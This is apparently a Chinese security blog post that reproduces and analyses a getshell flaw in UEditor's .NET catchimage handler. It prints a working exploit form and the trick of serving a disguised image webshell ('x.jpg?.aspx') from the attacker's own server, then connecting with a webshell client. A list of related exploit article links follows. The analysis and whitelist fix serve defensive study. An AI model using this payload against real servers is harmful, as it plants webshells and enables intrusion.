ueditor getshell漏洞重现及分析
0x00 概述
8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。
0x01 漏洞重现
Payload:
<form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”>
<p>shell addr:<input type=”text” name=”source[]” /></p >
<input type=”submit” value=”Submit” />
</form>
图片马x.jpg放在自己服务器上
提交http://www.domain.top/x.jpg?.aspx

返回:

菜刀连接:
0x02 修复方案
增加文件扩展名校验(白名单)
0x03 漏洞分析
ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx
<%@ WebHandler Language="C#" Class="UEditorHandler" %> using System;
using System.Web;
using System.IO;
using System.Collections;
using Newtonsoft.Json; public class UEditorHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
Handler action = null;
switch (context.Request["action"])
{
case "config":
action = new ConfigHandler(context);
break;
case "uploadimage":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("imageAllowFiles"),
PathFormat = Config.GetString("imagePathFormat"),
SizeLimit = Config.GetInt("imageMaxSize"),
UploadFieldName = Config.GetString("imageFieldName")
});
break;
case "uploadscrawl":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = new string[] { ".png" },
PathFormat = Config.GetString("scrawlPathFormat"),
SizeLimit = Config.GetInt("scrawlMaxSize"),
UploadFieldName = Config.GetString("scrawlFieldName"),
Base64 = true,
Base64Filename = "scrawl.png"
});
break;
case "uploadvideo":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("videoAllowFiles"),
PathFormat = Config.GetString("videoPathFormat"),
SizeLimit = Config.GetInt("videoMaxSize"),
UploadFieldName = Config.GetString("videoFieldName")
});
break;
case "uploadfile":
action = new UploadHandler(context, new UploadConfig()
{
AllowExtensions = Config.GetStringList("fileAllowFiles"),
PathFormat = Config.GetString("filePathFormat"),
SizeLimit = Config.GetInt("fileMaxSize"),
UploadFieldName = Config.GetString("fileFieldName")
});
break;
case "listimage":
action = new ListFileManager(context, Config.GetString("imageManagerListPath"), Config.GetStringList("imageManagerAllowFiles"));
break;
case "listfile":
action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles"));
break;
case "catchimage":
action = new CrawlerHandler(context);
break;
default:
action = new NotSupportedHandler(context);
break;
}
action.Process();
} public bool IsReusable
{
get
{
return false;
}
}
}
根据payload,这次漏洞利用点在
case “catchimage”:
action = new CrawlerHandler(context);
break;
找到CrawlerHandler这个类
ueditor1_4_3_3-utf8-net\utf8-net\net\App_Code\CrawlerHandler.cs
public class CrawlerHandler : Handler
{
private string[] Sources;
private Crawler[] Crawlers;
public CrawlerHandler(HttpContext context) : base(context) { } public override void Process()
{
Sources = Request.Form.GetValues("source[]");
if (Sources == null || Sources.Length == 0)
{
WriteJson(new
{
state = "参数错误:没有指定抓取源"
});
return;
}
Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
WriteJson(new
{
state = "SUCCESS",
list = Crawlers.Select(x => new
{
state = x.State,
source = x.SourceUrl,
url = x.ServerUrl
})
});
}
}
获取传入的source[]
Sources = Request.Form.GetValues(“source[]”);
关键在:
Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
找到Crawler类的Fetch方法:
public class Crawler
{
public string SourceUrl { get; set; }
public string ServerUrl { get; set; }
public string State { get; set; } private HttpServerUtility Server { get; set; } public Crawler(string sourceUrl, HttpServerUtility server)
{
this.SourceUrl = sourceUrl;
this.Server = server;
} public Crawler Fetch()
{
if (!IsExternalIPAddress(this.SourceUrl))
{
State = "INVALID_URL";
return this;
}
var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;
using (var response = request.GetResponse() as HttpWebResponse)
{
if (response.StatusCode != HttpStatusCode.OK)
{
State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;
return this;
}
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
var savePath = Server.MapPath(ServerUrl);
if (!Directory.Exists(Path.GetDirectoryName(savePath)))
{
Directory.CreateDirectory(Path.GetDirectoryName(savePath));
}
try
{
var stream = response.GetResponseStream();
var reader = new BinaryReader(stream);
byte[] bytes;
using (var ms = new MemoryStream())
{
byte[] buffer = new byte[4096];
int count;
while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)
{
ms.Write(buffer, 0, count);
}
bytes = ms.ToArray();
}
File.WriteAllBytes(savePath, bytes);
State = "SUCCESS";
}
catch (Exception e)
{
State = "抓取错误:" + e.Message;
}
return this;
}
}
据说1.5dev版没有判断ip:
if (!IsExternalIPAddress(this.SourceUrl))
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs (404)
所以1.4.3.3这版本要可解析的域名作为payload
接着进入判断
if (response.ContentType.IndexOf(“image”) == -1)
{
State = “Url is not an image”;
return this;
}
这就是漏洞所在,只判断响应的ContentType,可以构造图片马绕过,如:
http://www.domain.top/xxx.jpg?.aspx
或xxx.php?.aspx在xxx.php中设置ContentType。
最后流程保存文件。
0x04 检测工具
对此漏洞的检测工具,支持单url和批量,使用中有任何问题欢迎反馈!
https://github.com/theLSA/ueditor-getshell
0x05 参考资料
https://www.jianshu.com/p/6dae608b617c?from=timeline&isappinstalled=0
www.freebuf.com/vuls/181814.html
转载请注明来源:ueditor getshell漏洞重现及分析 - LSABLOG
ueditor getshell漏洞重现及分析的更多相关文章
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...
- SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议
SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1.查看本机数据库是否开启,发现数 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- CVE-2015-1641 Office类型混淆漏洞及shellcode分析
作者:枕边月亮 原文来自:CVE-2015-1641 Office类型混淆漏洞及shellcode分析 0x1实验环境:Win7_32位,Office2007 0x2工具:Windbg,OD,火绒剑, ...
- 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题
最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...
- 【转】cve2014-3153 漏洞之详细分析与利用
背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...
- 16.Tomcat弱口令 && 后台getshell漏洞
Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...
- 漏洞扫描与分析-Nessus-8.7.2最新版-安装-部署-使用
漏洞扫描与分析-Nessus 2019/10/10 Chenxin 简介 官网 https://zh-cn.tenable.com/ 产品 https://zh-cn.tenable.com/prod ...
- BEC合约整数溢出漏洞还原与分析
一.币圈一秒,人间一年 有道是币圈一日,人间一年.这个说法又得升级了,叫币圈一秒,人间一年. 前不久,币圈又出大事啦.BEC智能合约被爆出整数溢出漏洞,导致黑客能无限印币,在一次交易中,也就那么几秒钟 ...
随机推荐
- MvcForum作者称该项目进入缓慢更新
MvcForum作者在github上发表 This project is no longer actively developed as I don't have the time. As and w ...
- MySQL数据库(9)----从命令行获取元数据
1. mysqlshow 命令提供的信息与某些 SHOW 语句很相似,因此可以从命令行提示符获取数据库和表的信息. (i)列出服务器所管理的数据库: root@javis:~$ mysqlshow - ...
- python单下划线、双下划线、头尾双下划线说明:
单下划线.双下划线.头尾双下划线说明: __foo__: 定义的是特殊方法,一般是系统定义名字 ,类似 __init__() 之类的. _foo: 以单下划线开头的表示的是 protected 类 ...
- Intent和BroadcastReceiver
Intent简介 Intent是一种消息传递机制,作用: 使用类名显示启动一个特定的Service或Activity 启动Activity或Service来执行一个Intent 广播某个事件已经发生 ...
- Taro 是一套遵
https://github.com/NervJS/taro 使用 Taro,我们可以只书写一套代码,再通过 Taro 的编译工具,将源代码分别编译出可以在不同端(微信小程序.H5.React-Nat ...
- ASP.net Substitution 页面缓存而部分不缓存的实现方法
在ASP.NET中要实现部分内容非缓存,而其它的都需要缓存输出,可以使用Substitution控件实现. <%@ Page Language="C#" AutoEventW ...
- Effective C++(9) 构造函数调用virtual函数会发生什么
问题聚焦: 不要在构造函数和析构函数中调用virtual函数,因为这样的调用不会带来你预想的结果. 让我先来看一下在构造函数里调用一个virtual函数会发生什么结果 Demo class Trans ...
- 企业级NGINX的重定向rewrite
vim /usr/local/nginx/conf/nginx.conf server { listen 80; server_name www.ftl.com; rewrite ^/(.*) htt ...
- 在IIS上发布网站后,在编译时出现CS0016拒绝访问错误
错误如下图所示: 关键性错误信息: 编译器错误消息: CS0016: 未能写入输出文件“c:\Windows\Microsoft.NET\Framework64\v4.0.30319\Te ...
- MP4个人制作